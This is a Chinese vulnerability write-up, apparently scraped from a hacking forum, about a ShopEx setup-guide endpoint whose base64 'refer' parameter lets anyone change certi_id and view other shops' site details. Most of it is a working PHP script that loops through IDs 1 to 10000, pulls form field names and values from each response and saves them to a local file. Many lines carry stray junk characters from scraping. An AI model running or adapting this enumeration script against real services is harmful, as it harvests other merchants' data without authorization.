ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
2 D4 s( i. c3 _  NShopEx某接口缺陷,可遍历所有网站
% \2 t% U5 K' A8 ?详细说明：
问题出现在shopex 网店使用向导页面



http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
  X6 g( V! N! C1 i) d# g9 Q$ o  z
; g' V/ y8 Z6 D* U: U/ s

  ~$ U* ~$ F" i+ V0 Drefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
0 x" P5 B  S8 G3 ~. U" P


+ m9 Y+ K8 x) p" B我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
9 a1 F9 @: g  C* a  ?# m) l! h

4 R! y% R- |; `8 Z, ]
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
; B7 [' r2 P  h1 r: f
/ m' U3 f7 l. L, A) T# M                        ShowshopExD($i);
! {0 v! {8 U0 p$ O$ Z0 _8 C& ]
- L( [/ a& a2 T1 S3 v* Z7 @3 @. K$ \                }

6 M0 ~! u3 z) g* ~) W; D- [                function ShowshopExD($cid) {

6 H/ L) K* v, l: a                $url='http://guide.ecos.shopex.cn/step2.php';
  L) j+ K. h. w0 P
1 O- ~7 c7 H5 P6 P' x* O1 U! s                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

2 \' b! {, j2 _8 ]8 T, J        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
1 T" B* i/ U7 u- X" [2 B
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

! B8 t" u9 T" P6 _. l        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

* I. s! M9 {0 t9 O+ K7 \        $result = curl_exec($ch);

9 T* ~4 h- f1 X5 j        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
- G3 c2 P7 @8 |6 g# g! U/ e
        if(strpos($result,$refer))
5 A, Z0 ~) t2 o: W
5 G- [& X$ N8 i9 b4 [        {
% e) _2 `% z5 w
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

9 D% a) S8 s/ w6 E. \3 q" C4 U                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

* q3 W  l4 e/ U/ `( Y3 p                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
8 O- ~: h: S7 M# J: @1 M/ P( \
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

& ^* L: B* D4 j& a                        fwrite($fp, $col, strlen($col));

                }

                echo '--------------------------------'."\r\n";

                fclose($fp);

5 A; ]. a3 s' |. h  t        }

        flush();
9 y" \5 ~* C) O/ P- I5 D- Z
5 S9 V. b3 G8 {        curl_close($ch);
/ U% ^8 M2 g7 L
                }

4 C+ Y2 }# y) t( d9 z# E( \. W: |?>
- M& _- {. u0 h1 I" l漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式